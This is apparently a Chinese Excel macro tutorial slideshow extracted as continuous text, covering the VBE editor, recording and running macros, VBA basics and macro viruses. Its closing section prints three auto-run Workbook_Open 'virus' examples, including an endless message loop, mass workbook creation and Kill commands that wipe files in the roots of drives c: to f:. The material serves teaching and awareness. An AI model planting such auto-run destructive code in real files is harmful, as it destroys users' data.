1、彻底理解Excel中的宏教学课件0本节主要本节主要讲述以下内容:讲述以下内容:宏的引入及相关编辑宏的引入及相关编辑宏病毒认识及防范宏病毒认识及防范1前言前言我们在使用excel的时候经常要对某些区域、某些单元格,进行反复的操作,比如:给选中的单元格快速格式化反复的设置筛选条件筛选出需要的数据将不需要的数据删除掉快速处理工作簿中图像-2举例:举例:比如要给sheet1工作表上的单元格区域a1:f18设置字体为:隶书字号为:30颜色为:红色34通常的方法是通过相应的字体选项卡或单元格对话框来一步步的完成5当我们不需要添加的格式时,还是通过相应的选项卡或对话框一步步的逆向操作去掉我们添加的格式6这些
2、简单的要求需要我们把相同的动作重复了n遍,计算机并不介意反复执行重复的动作,但使用计算机的人有时会感到繁琐一些,在执行同样的操作时有时还会出错那么有没有一种方法可以使我们的操作更加简单一些?7实际上excel软件内置了一个平时:看不到也用不到其实大多数的情况下是想不到的一个程序编写软件:Vbe程序编制软件,简称为程序编制软件,简称为vbe编辑器编辑器8如何启动(查看或打开)该软件如何启动(查看或打开)该软件打开工作簿后通过以下任意一种方法均可:按快捷键alt+F11键在任意一个工作表标签上右击鼠标-查看代码通过开发工具选项卡(默认没显示)9小提示:如何显示开发工具选项卡?小提示:如何显示开发工
3、具选项卡?默认功能区中是没有开发工具选项卡的因为该选项卡平时用不到,所以excel默认隐藏了她,通过设置可以将她显示出来(当然通过该设置也可以隐藏它)10打开后的打开后的vbe界面如下图所示界面如下图所示11什么是什么是vbe?Vbe 即 visual basic Editor的缩写,特指嵌套在微软开发的office软件中的或者是支持微软vba语言的其它公司开发的软件中的一个内置编程软件编程软件12为了方便讲解,我们把经常用到的excel界面称之为前台界面,将vbe界面称之为后台界面如何切换前后台界面前台界面和后台界面的关系13如何切换前后台界面如何切换前后台界面如何切换前后台界面反复按alt
4、+F11键可以在前台界面和vbe界面之间互相切换通过在任务栏上通过鼠标单击切换14前台界面和后台界面的关系前台界面和后台界面的关系这个后台界面不管你知道与否还是使用与否默认都是是存在的不管是打开的excel程序软件还是打开、新建的任意一个excel文件都会存在该界面,也就是这个界面是处于共享状态的这个界面是嵌入到excel程序中的,这个界面不能单独打开,也就说要想打开这个界面必须事先打开任意一个excel文件或excel程序软件才能打开vbe每个文件的后台界面默认都是一样的,但可以进行相应的个性化的编辑和修改文件删除则隶属于该文件的个性化界面被删除,但处于默认共享状态的界面不会被删除,除非将e
5、xcel程序软件卸载掉156.两个界面都可以设置自己的显示比例互不干扰,比如彼此设置为最大化、最小化等等167.如果同时打开多个excel文件,则最多只能显示一个vbe界面,从vbe界面的左侧工程资源管理器上可以发现多个已经打开的excel文件178.关闭任意一个或多个文件界面不会被关闭掉,除非把所有的excel文件全部关闭9.当只打开一个excel文件时,文件关闭则界面也会随之被关闭10.当只关闭vbe界面时软件不会提示保存操作,即使你在vbe界面中编写了相应代码。11.当你关闭excel文件时不管你是否只在前台进行了编辑操作还是只在后台界面进行操作还是两者兼有,都会提示你是否保存的对话框,
6、出现的对话框会因为你操作的界面不同而略有不同18关于内置关于内置vbe界面的小提示:界面的小提示:并不是微软开发的任何软件中都有内置了该编程界面也并不是微软开发的任意一个office应用软件中都内置了该编程界面更不是只有微软公司开发的软件中含有此编程界面,请看下面的旧闻摘要19旧闻摘要:旧闻摘要:VBA不止是出现在Office Word/Excel里用来记录宏、执行自动批量处理,微软还有一个授权项目,允许第三方独立软件开发商(ISV)在其程序中使用VBA。在过去近十年里,Corel、AutoDesk都购买了VBA授权,在各自产品中加入了这一功能,今后他们还可以继续这么做。微软只是不再销售新的V
7、BA第三方授权了。20autodesk公司开发的公司开发的autocad软件软件2122内置在内置在Autocad软件中的软件中的vbe23知道了上述的vbe界面后,我们可以在编程界面中编写代码实现我们的要求,比如实现上面提到的案例24小例子:给单元格区域设置格式小例子:给单元格区域设置格式打开编辑器后在其中编写相应的代码即可实现我们开始讲课的案例:Sub 添加格式() Sheets(sheet1).Select Range(a1:f18).Select With Selection.Font .Name = 隶书 .Size = 30 .ColorIndex = 3 End WithEnd
8、Sub25清除不要的格式清除不要的格式Sub 清除格式() Sheets(sheet1).Select Range(a1:f18).Select With Selection.Font .Name = 宋体 .Size = 11 .ColorIndex = 0 End WithEnd Sub26疑难疑难虽然通过在vbe中编写了相应的代码实现了我们需要的功能,但是对于初学者来说会有很多的疑虑:我不知道你写的是什么我也不知道你是如何实现要求的我根本就看不懂-有没有一种方法既可以实现我需要的功能又不用编写相应代码?27针对这种情况,微软提供了一个宏工具实现了上述功能28宏的引入宏的引入在现实生活和工
9、作当中,当我们需要反复收听某种声音的时候,我们可以采用话筒或录音机等相关设备将需要的声音录制在磁带、电脑或其它相关设备中,然后可以反复的播放需要的音频29当我们需要反复观看某些视频画面的时候我们可以采用摄像机等相关设备将视频拍摄下来,需要的时候再进行反复的播放观看30录音机是用来录制声音的,摄像机主要是用来录制视频的,他们的相同点都是一经录制下来后可以反复的播放我们录制的信息在excel软件中也有一个内置的录制工具:宏这个工具不是用来录制音频的更不是用来录制视频的,他是用来录制操作软件时相关的动作的,他录制的是一个“无声的世界”31录制音、视频需要相关的硬件设施,在软件中录制相关的动作也需要一
10、个“硬件设施”-这就是excel中的宏录制器32什么是宏录制器什么是宏录制器宏录制器是excel中专门录制操作步骤或动作的专用录制工具,其实就是一个比较特殊的对话框33这个宏对话框(工具)就是用来收集你在软件中的相应操作步骤的,但是宏对话框对于刚接触的使用者对这个专用名称一时不好理解,为了形象的理解我们可以称之为:动作跟踪器操作步骤记录器步骤录制器34要想很好的使用该工具,需要我们掌握要想很好的使用该工具,需要我们掌握以下基本知识以下基本知识35理解宏理解宏这个上面我们已经说过了,宏就像现实生活中的录音机或摄像机,她是专门用来录制相应软件中的操作步骤的,她录制的是一个和动作有关的“无声的世界”
11、36策划宏策划宏策划宏就是首先谋划想要得到什么样的功能,可以的话把你的想法或需求逐个罗列出来,然后围绕你所需的功能策划出实现功能的相应的步骤在策划宏的时候主要注意以下情况:你想要的功能是否可行?u并不是所有的操作都能通过录制的方式进行录制,它只能录制简单的功能如果可行的话你如何逐步得到你的功能?u步骤的多少u步骤的先后顺序37举例举例打个比方,我们要记录某人一天的工作安排第一步、先起床第二步、洗脸第三步、刷牙第四步、吃饭第五步、上班38步骤多少的变化步骤多少的变化这个人一天的工作安排总共分为五步,每步之间有先后顺序实际上这个人每天的步骤的多少可能会有些变化,比如39步骤先后位置的变化步骤先后位
12、置的变化这个人的步骤的先后顺序也可能改变40在软件中策划宏在软件中策划宏在软件中策划某个功能,也需要考虑步骤的多少和顺序,比如:将工作表中A1:A8的单元格中的数据的字体设置为:黑体、26号、倾斜、加下划线我们策划如下步骤相应的顺序:41顺序的改变顺序的改变42小提示小提示虽然我们上面讲述关于策划宏的时候提出了步骤的多少和先后顺序的弹性变化,但有的时候并不能随意的设置,尤其是关于步骤的先后顺序有的宏不能随意的设置43录制宏录制宏要想得到我们需要的功能,首先需要我们打开宏录制器,有必要对宏录制器对话框认识44宏对话框概讲宏对话框概讲先掌握宏名的起名规则和说明45说明说明起备注和解释说明的意义该项
13、可以不用写,也可以后面添加,对代码起辅助的作用46开始录制宏开始录制宏一般通过两种方法录制通过状态栏上的宏录制器录制通过开发选项卡上的表单窗体控件中的按钮控件录制47宏录制时的宏录制时的”为为”与与”不为不为”并不是所有的步骤都能被录制下来,虽然你在操作,但是却录制不下来,比如:她只能录制本软件内的相关动作,切换到其它软件中的操作不能被录制在本软件内和对话框有关的操作大多数不会被录制切换软件的选项卡操作不会被录制动作停顿时不会被录制鼠标仅仅是简单的晃动不会被录制-48小提示:小提示:一个工作簿上可以录制多个步骤相同或不同的宏,但不能出现重名的宏49停止录制停止录制录制的宏代码一般不需要无限制的
14、录制下去,在适当时候需要停止录制忘记停止录制的动作时,当工作簿关闭的时候宏则自动停止录制50小提示小提示Excel中的宏在录制的时候没有暂停功能,在这一点上她比不上word中的宏51当一个宏录制完毕后,我们适当的时候需要运行(使用),它尝试让宏给我们带来的便利,在运行宏的时候我们可以采用多种方法运行,这些方法我们可以从不同角度划分,比如:前台运行方式后台运行方式-52宏的运行方式详解宏的运行方式详解53前台运行方式(链接运行方式)前台运行方式(链接运行方式)是指通过单击放置在excel相关工作表上的具体的对象运行相应宏的方式,这种方式其实为一种指向或链接的方式,和超链接类似,不过他链接宏而不是
15、某个网页这些对象可以是以下几种类型的对象54在对象右击鼠标在对象右击鼠标-指定宏指定宏55建议建议虽然通过在前台界面添加不同的对象均可以链接到相应的宏,但是还是建议大家尽量使用表单控件或ActiveX控件,因为使用这种控件:专业正规直观图文并茂56举例:使用普通图形链接宏举例:使用普通图形链接宏步骤如下:在excel工作表内绘制一个图形(在此用的是矩形)在矩形上右击鼠标-打开指定宏对话框找到需要的宏时单击确定即可57小提示:如何找到宏所在的位置小提示:如何找到宏所在的位置我们知道在每一个打开的工作簿上都可以录制相应的宏,这些宏默认放置在彼此的工作簿内,如果只想使用当前工作簿内的宏则只需启动当前
16、工作簿即可,如果要想启用放置在其它工作簿内的宏,则必须应首先打开所需宏所在的工作簿,否则是无法跨簿调用的(除非将宏录制在个人宏工作簿内或导入相应宏的模块,不过这都是后话了)58指定宏对话框指定宏对话框59宏对话框中的位置选项宏对话框中的位置选项位置:即宏所存放的地址,这个位置下拉列表选项会随着打开的工作簿的数量的不同而不同,这些位置主要分为以下四个大类:所有打开的工作簿当前工作簿个人宏工作簿(personal.xlsb)其它打开的工作簿名称60指定宏对话框中的宏名选项指定宏对话框中的宏名选项1.宏名列表中宏的数量会随着选择的宏位置的不同而不同,当选择“所有打开的工作簿”时宏名列表项是最多的61
17、小提示小提示如果你只是打开指定宏对话框,但是并没有从宏名列表项中给对象选择指定的宏时,虽然可以单击确定按钮,但是当你单击目标对象时会出现如下所示的警告框62小提示小提示当一个对象被指定宏后,如果想编辑该对象,比如:更改对象的位置、大小、颜色等信息时不能采用单击的方法,因为此时的单击是运行宏动作不在是选中目标对象了,这个时候应该在目标对象上右击鼠标-进入对象的进入对象的编辑状态编辑状态,再进行针对对象的相关操作。63举例:采用表单控件指定宏举例:采用表单控件指定宏虽然表单控件里的控件都可以指定宏,但是用的最多的还是按钮控件,这个控件不但能指定宏而且默认时还可以通过它单独录制宏操作64操作步骤操作
18、步骤当你在工作表上拖放画出该控件时,弹出指定宏对话框,此时可以直接指定已经存在的宏,也可以采用录制的方法从新录制一个,也可以暂时不录制不指定后面在添加指定的宏65按钮的相关编辑按钮的相关编辑要想更改按钮的位置、大小、文字等等,首先应在按钮上右击鼠标进入编辑模式66如何更改按钮控件上的文字如何更改按钮控件上的文字默认的按钮控件上的提示文字可能不直观,可以在按钮上右击鼠标-编辑文字67小提示小提示在一个按钮没有指定宏之前(也就是只是将按钮放置在工作表内没有指定运行的宏),我们可以在按钮上快速快速双击双击鼠标的方式直接进入编辑状态编辑相应的文字,此时也可以通过“开始”选项卡上的相应的文字编辑选项编辑
19、按钮上的文字68按钮的其它格式设置按钮的其它格式设置按钮不但能进行位置、大小的更改,还可以进行颜色、字体的更改单击此项69小技巧小技巧如果你想在一个工作表上添加多个按钮控件,你可以一步步制作,也可以先制作出一个然后进行复制粘贴的方式复制多个出来,选中多个后可以同比例操作,更改每个的文字显示内容,最后再每一个指定相应的宏70小提示小提示在选中按钮控件时,一定要鼠标单击(放置在)按钮控件的边框上,不能单击文字内部否则无法整体选中按钮在复制按钮时既可以通过快捷键复制,也可以按住ctrl键或shift键拖拉目标对象进行复制,如果同时按住ctrl+shift键进行拖拉复制则可以保证复制的控件在同一个水平
20、位置或垂直位置71小提示小提示虽然通过ActiveX控件也能指定宏,但是需要手工编写代码才能运行相应的宏,建议初学者暂时不用掌握该控件的使用72对象与链接的宏的关系对象与链接的宏的关系对象删除宏不会被删除宏被删除、注释、改名等操作会,单击对象时会有提示信息733.对象移动宏不会移动,但还会响应对象的单击操作4.对象复制宏不会复制,但还会响应对象的单击操作5.一个对象默认只能链接一个宏6.可以更换已经指定宏7.在不删除对象的情况下,可以删除对象上链接的宏指向74删除对象上的宏指向删除对象上的宏指向75通过宏对话框运行通过宏对话框运行76通过快捷键运行宏通过快捷键运行宏快捷键可以在录制时添加,也可
21、以在随后添加添加的快捷键也可以删掉如果指定的快捷键和默认快捷键发生冲突时则以宏快捷键为准,即:覆盖了内置的快捷键快捷键的设置规则:不能使用不允许的字符可以是大写字母77如何后期添加和删除快捷键如何后期添加和删除快捷键78后台运行后台运行按alt+F11打开vbe编辑器,找到并将光标定位到需要的宏然后按F5键或工具栏上的运行按钮运行需要的宏79小提示小提示建议初学者不要采用该方法运行,主要是因为:一是不能很好的找到并定位到你需要的宏二是在运行的时候宏处理的结果不能很好的观察,因为vbe界面遮挡住了前台界面,不过我们可以将vbe界面适当的缩小一下便于观察80默认录制的宏只能是按快捷键运行或前台运行
22、通过相关设置可以成为通过相关设置可以成为按事件运行按时间运行81通过事件运行宏通过事件运行宏工作簿的打开事件工作表的选中事件工作簿的关闭事件-82按时间运行宏按时间运行宏当工作簿打开后可以在某时刻定点运行可以在多长时间后运行可以设置成周期运行(在此不讲此操作)可以设置成周期运行(在此不讲此操作)83首先录制一个用于测试的宏代码首先录制一个用于测试的宏代码Sub 填充相同信息()Range(D5:G19).Select Selection.FormulaR1C1 = 1End Sub84在指定的时刻运行在指定的时刻运行(以个人电脑时间为准)(以个人电脑时间为准)将工作簿打开后在指定的时刻运行Pr
23、ivate Sub Workbook_Open() Application.OnTime TimeValue(13:00:00), 填充相同信息End Sub85在经过指定的时间之后运行在经过指定的时间之后运行当打开工作簿后,从现在开始计时,经过多长时间之后开始运行指定的宏Private Sub Workbook_Open()Application.OnTime Now + TimeValue(00:00:05), 填充相同信息End Sub86小提示小提示一个宏可以被多个对象调用但是通过前台方式或快捷键方式运行的宏一次只能运行一个宏,即一个对象只能链接一个宏通过事件运行的宏一次可以运行多个宏
24、87小提示小提示微软提供的宏功能,最基本的用法就是通过录制的方法将动作录制下来,方便重复的调用动作。实际上录制动作的功能不仅仅局限在office软件上,比如大名鼎鼎的adobe公司开发的ps软件也有类似的功能,只不过该功能的名称为”动作”88Adobe photoshop cs3版本中的版本中的“宏宏”89909192宏保存位置的设置宏保存位置的设置录制的宏实际是录制的宏代码,这些宏代码总会保存在设置的位置中,位置可以有不同选择,选择不同的位置会影响宏使用的范围93宏保存位置的选择宏保存位置的选择当前工作簿新建工作簿个人宏工作簿94当前工作簿当前工作簿如果选择当前工作簿则会把宏代码录制在当前正
25、在使用工作簿内,其它已经存在的工作簿或以后新建的工作簿都不会含有此宏代码一旦将此工作簿关闭后,其它工作簿则不能使用该宏功能不过当一直打开该工作簿时,其它工作簿也可以使用该宏功能95新建工作簿新建工作簿如果选择新建工作簿,首先软件会自动新建一个默认名字为book1的工作簿内,并将录制的代码放置在一个自动新建的工作簿内,她的服务范围在不关闭新建工作簿时也可以服务本工作簿和其它工作簿,一旦关闭则无法服务其它工作簿一般不会选择该选项一般不会选择该选项96个人宏工作簿个人宏工作簿如果选择个人宏工作簿,则将录制的代码放置在一个名称为:personal.xlsb内的工作簿内,不过默认该工作簿是不存在的,如果
26、是第一次选择个人宏工作簿选项,则会自动自动新建一个个人宏工作簿,当新建后才可以将代码录制在该特殊的工作簿内97这个个人宏工作簿默认是无法看到的,通过在选项卡上单击单击“取消隐藏”,即可看到隐藏的工作簿,这个时候你会发现在电脑的状态栏上会多出一个工作簿:个人宏工作簿98个人宏工作簿的真面目个人宏工作簿的真面目99个人宏工作簿的功能个人宏工作簿的功能通过将代码录制在个人宏工作簿内,解决了宏功能的共享问题,可以在所有打开的工作簿内都可以通过某种方式被调用100再次隐藏个人宏工作簿再次隐藏个人宏工作簿在个人宏工作簿内单击“隐藏”即可再次隐藏该工作簿101如何寻找个人宏工作簿在硬盘中的如何寻找个人宏工作
27、簿在硬盘中的位置位置搜索:xlstart102C:Documents and SettingsAdministratorApplication DataMicrosoftExcelXLSTART103小提示小提示一旦新建了个人宏工作簿,则启动excel程序时会自动的启动该工作簿,这也许会影响你的启动速度104如何删掉个人宏工作簿如何删掉个人宏工作簿找到该文件在硬盘中的位置后,先关闭所有打开的excel文件(否则无法删除),然后再删除该个人宏工作簿删掉个人宏工作簿后放置在其内的宏则一起被删掉105含宏文件的保存注意事项含宏文件的保存注意事项当一个含宏文件保存时和一个不含宏文件保存时出现的保存对话
28、框是不同的106单击单击“是是”当你单击“是”选项时,会将文件保存为*.xlsx格式的普通excel文件,采用此项后:采用宏处理的结果则会保存下来(如果已经使用宏处理过的话)你录制的宏代码则被自动删掉107单击单击“否否”当你单击“否”选项时,会强制要求你将文件保存为*.xlsm格式的文件,采用此项后:采用宏处理的结果则会保存下来(如果已经使用宏处理过的话)你录制的宏代码也会保存下来108109小提示小提示采用*.xlsm格式保存的文件的图标和普通excel文件的图标是不一样的,含宏文件图标有一个惊叹号110小提示小提示宏代码保存在不同的工作薄内当你保存文件时出现的对话框是有所不同的当将宏保存
29、在个人宏工作簿内,则保存工作簿时不会出现强制保存选项对话框,因为此时录制的宏根本就没有录制在当前工作簿内只有当宏保存在当前或新建工作簿中时关闭文件时才会有强制提示111小提示小提示实际上除了将宏代码保存在当前工作簿或个人宏工作簿外还可以将宏文件通过另存为保存在含有宏的模板上启用宏的模板启用宏的模板.xltm11211303和和07的不同的不同在excel 2003 中录制的代码在保存时不会强制要求你更改格式,从外在图标和文件格式上你无法辨别哪个文件是含宏文件哪个不是含宏文件,也就是说宏代码是寄生在文件中的,实际上这种文件是宏亦是文件是宏亦是文件但是excel 2007 则不同,含宏文件的格式和
30、图标是可以看出来的,这就给出了我们一个辨别能力,只要一看图标和后缀格式就能发现是否含宏,这给以后的辨别宏病毒提供了方便。114宏的优点宏的优点通过上述的案例我们发现宏有以下优点:通过上述的案例我们发现宏有以下优点:减轻劳动负担提高工作效率u将经常需要的步骤录制下来经过简单的调用即可实现我们的需求方便功能的共享与协作u将彼此录制的宏发给对方,使彼此双方也能使用彼此录制的宏功能采用宏功能延伸了软件的功能,给以后软件的二次开发提供了便利u这也许是ms office 区别于其它office软件的一个功能吧115宏的实质宏的实质通过宏录制器录制的方式产生我们需要的功能宏录制器从表面上录制的是动作,实际上
31、录制的是宏代码,宏录制器是采用代码录制的方式而不是手工编写代码的方式产生需要的代码进而得到我们需要的功能,这从一定角度上看“逃避”了掌握编写代码的步骤既然录制的是代码,那么我们查看录制的代码116如何查看录制的宏如何查看录制的宏默认录制的宏都是放置在vbe编辑器中的模块中,它会自动产生一个模块,默认新建的模块为“模块1”,默认情况下会将录制的宏全部放置在同一个模块中,除非人为干预,双击该模块后从右侧编辑区内可以看到我们录制的一个个的宏117118这些代码实际上是用一种语言编写的,只不过通过宏录制的方法会自动产生代码,无需人工编写,编写这种代码的语言采用是:vba 语言119什么是什么是vba?
32、Vba的全称是visual basic for applications的缩写她是一种计算机编程语言,就好比大名鼎鼎的c语言、java语言、汇编语言等120Vba和和vb以及以及basic的关系的关系vba语言是从vb语言中派生出来的子语言Vb语言又是basic语言的可视化版本三者之间有一种包含关系Basic语言语言Vb语言语言Vba语言语言121Vba继承了大多数vb中的语法、规则,就连编程界面也很相似在不严格的情况下,可以说在不严格的情况下,可以说vba就是就是vb的子集的子集122小提示:小提示:虽然vba是从vb语言派生出来的,但两者之间还是有所区别的,主要区别如下:有可以开发独立的应
33、用程序无不可以主要是为弥补支持vba语言的宿主软件的功能而服务123小提示小提示实际上最开始在在录制宏功能时采用的是相应软件比较独立的语言编写的比如:录制excel中的宏采用的是excel basic语言录制word中的宏采用的是word basic语言每种语言有比较大的区别,这样导致在学习上及宏之间的兼容性上比较棘手,为了达到在学习及兼容性上有一个统一的标准,微软开发出了比较统一的新一代的宏编新一代的宏编程语言:程语言:vba124125Vba与与vbe的区别和联系的区别和联系Vba是一种计算机语言,通过该语言编写的代码我们称之为宏代码或vba代码,通过该语言开发的程序我们称之为宏程序或vb
34、a程序,但是并不是在任意一个软件中书写用vba编写的代码都能生成需要的软件,比如将代码编写在记事本中,则永远不能生成软件只有将vba代码放置在特定的编辑软件(环境)中才能生成软件,这个特定的编辑软件我们称之为vbe编辑器126宏与宏与vba的区别的区别宏是一种技术、一种功能、一个工具,就好比排序、筛选是excel中的数据处理技术Vba是一种语言,通过使用该语言可以在支持该语言的宿主软件上采用手工编写或录制的方法产生需要的功能127宏的概念宏的概念掌握了很多宏的相关知识后,我们有必要给宏下一个概念宏,她的英文单词是Macro,这就是为什么在录制宏的时候默认的宏名是Macro1宏是指:宏是指:在支
35、持vba语言的宿主软件上,软件使用者为了避免一再重复相同的动作而开发出来的一个工具,她利用简单的语法,将相应的动作步骤录制成宏,在以后需要的时候方便重复调用,不必再重复的相同的操作了。128形象比喻宏功能形象比喻宏功能通过使用宏技术又多了一条通往罗马的道路她使通往拉萨的火车从单行线变成了双行线129宏所能实现的功能和前台软件所能实现宏所能实现的功能和前台软件所能实现的功能的对比的功能的对比你有我也有你没有我有你有我优你优我不优130宏使用的必要性探究宏使用的必要性探究宏虽然提供了很强大的处理数据的功能,但是并不是言必称宏在对数据采用简单的功能就能得到需要的结果时,就没必要使用宏那些对excel
36、常用功能还没有完全弄懂的情况下就大谈宏与vba是舍本逐末的表现,说的直白些那是一种显摆与炫耀。131宏的相关编辑宏的相关编辑删除宏注释宏移动宏复制宏更改宏132删除宏删除宏如果录制的宏不想被使用,可以删除掉该录制的宏在vbe界面中删除在宏对话框中删除133小提示小提示如果删除的当前宏已经被某个对象或事件所调用,那么当删除后,单击相应的对象启用已经被删除的宏时,会出现警告信息134注释宏注释宏1.当你不确定录制的宏是否以后需要的时候,不要直接删除,我们可以采用注释的方法,暂时的停用该宏2.在vbe界面中选中宏代码3.录制的宏,注释之前的4.Sub 填充相同信息()5. 填充相同信息 Macro6
37、. 在录制信息工作表上填充相同的数据7.8. Range(D5:G19).Select9. Selection.FormulaR1C1 = 110.End Sub135宏被注释之后的宏被注释之后的136还可以取消注释从新启用该宏还可以取消注释从新启用该宏137移动宏移动宏移动宏就是将宏代码移动到其它位置:移动到其它模块其它工作表其它工作簿其它应用程序内:记事本、ps等(不在有宏的功能)138复制宏复制宏将录制的宏代码整体复制,并粘贴到适当的位置注意:不能粘贴到相同的模块内,否则会出现警告可以适当的更改宏名解决二义性警告139更改宏更改宏更改宏更改宏名u注意更改后曾经被调用过会出现警告更改功能u
38、录制的宏会有许多无用的代码:垃圾代码,通过适当的删除和更改可以使宏代码更加紧凑和简略140宏与文件的关联宏与文件的关联我们知道录制的宏默认放置在某个模块内,实际上是放置在相应的工作簿内文件删除则宏也删除了文件复制则宏也被复制文件移动则宏也被移动141Ms office给我们提供的宏功能的开放性为我们个性化功能及二次开发新界面提供了很大的便利,但是在使用这个便利的工具时,我们通过宏工具既可以开发出有益的宏代码,也可以人为的编写出有害的宏代码:宏病毒142143计算机病毒计算机病毒什么是病毒?病毒是指人为的采用某种语言编写的对计算机有害的计算机代码或程序病毒的破坏方式不尽相同病毒有数万种之多,每天
39、都有新病毒出现,其中就有一大类病毒:宏病毒144什么是宏病毒?什么是宏病毒?广义的宏病毒是指:凡是支持内置vba程序语言的软件上,通过vba语言人为制作的对文件及系统有害的计算机程序狭义的宏病毒特指:在微软office应用软件上,通过内置vba语言人为编写的对文件及系统有害的计算机程序宏病毒破坏相应office应用软件而编写的一种计算机程序。宏病毒是一些制作病毒的专业人员利用Microsoft office相应软件的开放性即内置的vbe编程界面,专门制作的一个或多个具有病毒特点的宏代码,这种病毒宏的代码影响到计算机使用,并能通过相应文件进行自我复制及传播。145宏病毒的起源宏病毒的起源1996
40、年12月13日,一种被称为“TaiwanNo.1”(台湾1号)的病毒同时在北京和深圳被发现,一例来自于Internet的下载文件,另一例来自某医院的一项合作协议书。在一个专门研究医学病毒的捍卫人体健康的机构发现被计算机病毒侵袭的事件146宏病毒的相关认识宏病毒的相关认识宏病毒的特点宏病毒的危害性宏病毒的传播方式147宏病毒的特点宏病毒的特点宏病毒隐蔽性强 通过office 相关软件传递病毒,不容易被发现宏病毒传播迅速 因为几乎大多数的公司都在使用office系列软件危害比较严重由于该病毒能跨越多种平台,并且针对数据文档进行破坏,因此具有极大的危害性制作与变种方便148常见宏病毒的危害性表现方式
41、常见宏病毒的危害性表现方式比如:不能正常打印将文件改名乱复制文件删除文件或文件夹出现死循环不让保存文件强行保存为某种模板格式的文件-149特别提示特别提示vba代码也支持对操作系统的底层调用,可以使用某些系统上的dos命令,这样一来宏病毒并不是仅仅“青睐”于你的简单的文件,她还”格外关心”你的格式化硬盘服务,甚至关机操作也可以为你“效劳”150宏病毒的传播方式宏病毒的传播方式移动存储交流染毒文档文件; 硬盘染毒,处理的文档文件必将染毒; 光盘携带宏病毒; Internet上下载染毒文档文件; BBS交流染毒文档文件; 电子邮件的附件夹带病毒。 (从某个角度上来说这就是为什么人事经理在接收电子邮
42、件时总是提示不能以附件的方式发送word简历)151宏病毒的制作宏病毒的制作通过录制宏的方法制作宏病毒几乎是不可能的,宏病毒一般都是刻意手工编写出来的要想制作宏病毒需要三个条件要有编写的载体:要有编写的载体:宏病毒必须依附在相应的office软件上的,可以是word文档、excel文件或者ppt文稿要会编写代码:要会编写代码:不一定非得采用vba编写,但在office软件上最好使用vba代码编写,并且代码要写在特殊的位置触发宏病毒发作的条件触发宏病毒发作的条件没有触发条件,编写的代码是无用途的152我们尝试制作以下病毒:我们尝试制作以下病毒:打开文件后出现无穷的警告信息(入门病毒)打开文件后无
43、穷的制作新工作簿(入门病毒)打开文件后删除指定路径下的其它文件(中级病毒)153病毒病毒1:制作死循环弹出框病毒:制作死循环弹出框病毒病毒特点代码编写解决方法154病毒特点病毒特点打开该工作簿后出现烦心的对话框,并且很难关闭155代码编写代码编写Private Sub Workbook_Open() Dim i For i = 1 To 1000 可以将1000改为任意大小的数字 MsgBox 人事好:恭喜你中毒了 NextEnd Sub156解决方法解决方法按键盘上的ctrl+break组合键强行退出循环,单击“结束”按钮即可解决也可以按键盘上的”ctrl+alt+delete”解决157另
44、法另法按alt+f11键后进入vbe编辑界面删除或注释掉掉相应的代码即可158宏病毒宏病毒2:无穷的新建工作簿:无穷的新建工作簿病毒特点代码编写如何杀毒159病毒特点病毒特点打开含有代码的工作簿后,自动新建无穷的工作簿,直到你的计算机崩溃为止160代码编写代码编写Private Sub Workbook_Open() Dim i For i = 1 To 100 可以将100改为任意大小的数字 Workbooks.Add NextEnd Sub161解决方法解决方法和上述解决方法类似,但不好控制162宏病毒宏病毒3:删除文件:删除文件病毒特点代码编写如何杀毒163病毒特点病毒特点打开含有代码的
45、工作簿后,自动删除指定路径的所有文件注:该病毒只删除文件,不删除文件夹而且是彻底删除,不经过回收站164代码编写代码编写Private Sub Workbook_Open() On Error Resume Next Kill f:1*.* End Sub提示:可以将Kill “f:1*.*” 更改成多个语句 kill “c:*.* kill “d:*.* kill “e:*.* kill “f:*.* 165完整的代码如下完整的代码如下Private Sub Workbook_Open() On Error Resume Next kill “c:*.* kill “d:*.* kill “
46、e:*.* kill “f:*.* End Sub她会将你c:d:e:f:盘上的根目录下的所有裸露的文件彻底删掉166解决方法解决方法这个病毒不好解决,有些难167减少不必要的恐慌减少不必要的恐慌虽然宏病毒有这样或那样的危害,但是我们大可不必如临大敌,这是因为从以下几个方面我们可以消除疑虑:Office使用者的掌握程度:Office软件有无的考虑Office版本不兼容Office内置的天然屏障168office使用者的掌握程度使用者的掌握程度office的使用者:的使用者:大多数的或许就没有听说过宏的相关知识只有一少部分听说过宏但仅仅停留在了解的阶段只有非常少的一部分会去录制宏解决问题只有极少
47、的一部分会手工编写vba代码要想编写一段很有危害的vba代码需要系统的锻炼,并不是短时间内一蹴而就的169Office软件有无的考虑软件有无的考虑如果对方电脑上没有安装office相关软件,也没有安装相关的第三方office文件阅读器,实际上当你将含毒文件发送到对方的电脑上后,对方是无法打开你的文件的,连看都无法看更别说触发病毒的发作了。170版本不兼容导致病毒无法运行版本不兼容导致病毒无法运行同种语言不同版本情况下同种语言不同版本情况下假设对方已安装了相关的office文件,但是如果对方安装的版本比你制作病毒的版本低并且在对方没有安装office兼容包的情况下话,也是无法打开你发送的文件的,
48、更别说触发病毒了中英文版本不兼容中英文版本不兼容在同样版本的office的软件,比如都是安装的office 2003或office 2007,但是如果一个安装的是英文版本的office,一个安装的中文版本的office,当对方接收到含毒文件后也是无法触发病毒的发作的171Office内置的天然屏障内置的天然屏障假设彼此双方在语言界面相同版本亦相同的情况下,是否在打开含毒文件后一定会触发病毒的发作?答案是否定的答案是否定的因为office的相关软件内置了一个对含代码文件自动识别的功能,这个功能针对含代码的文件才起作用,如果文件含有代码,office 2003 和office 2007 的提示形式
49、是不一样的172Office 2003的提示界面的提示界面173Office 2007的提示界面的提示界面174小提示:在默认情况下小提示:在默认情况下不管代码是有益的还是有害的都会出现相应的提示如果打开的文件不含有任何代码则不会出现相应的提示175小技巧:如何辨别含毒文件小技巧:如何辨别含毒文件从上面的知识我们发现打开含代码文件后会自动出现相应的提示信息,那么我们还可以不用打开含代码文件仅从外观即可粗略查看文件是否含代码从文件的后缀格式和图标上看出猫腻用office 2007 制作的代码文件,如果想让代码和文件共存的话,在保存时会强制的保存为特殊的后缀格式(*.xlsm)但是用office
